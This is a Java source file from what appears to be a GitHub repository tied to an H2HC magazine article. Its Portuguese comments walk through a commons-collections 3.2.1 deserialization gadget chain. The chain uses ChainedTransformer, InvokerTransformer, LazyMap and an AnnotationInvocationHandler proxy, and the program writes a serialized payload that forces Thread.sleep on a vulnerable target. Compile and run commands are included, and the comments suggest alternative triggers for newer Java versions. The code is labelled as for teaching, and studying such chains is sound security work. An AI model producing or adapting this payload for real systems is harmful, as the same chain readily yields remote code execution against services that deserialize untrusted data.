-
Notifications
You must be signed in to change notification settings - Fork 117
/
SleepExample.java
105 lines (96 loc) · 5.56 KB
/
SleepExample.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.*;
/**
* Gera payload com gadget chain para forçar um Sleep na aplicação.
* Note que esse payload requer que a commons-collections vulnerável esteja
* disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
* JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
* (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar SleepExample
*
*
* @author @joaomatosf
*/
public class SleepExample {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
// Cria array de Transformers que irá resultar na seguinte construção:
//Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Thread.class), // retorna class Thread.class
// 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
),
// 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
)
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//cria a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in SleepExample.ser");
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}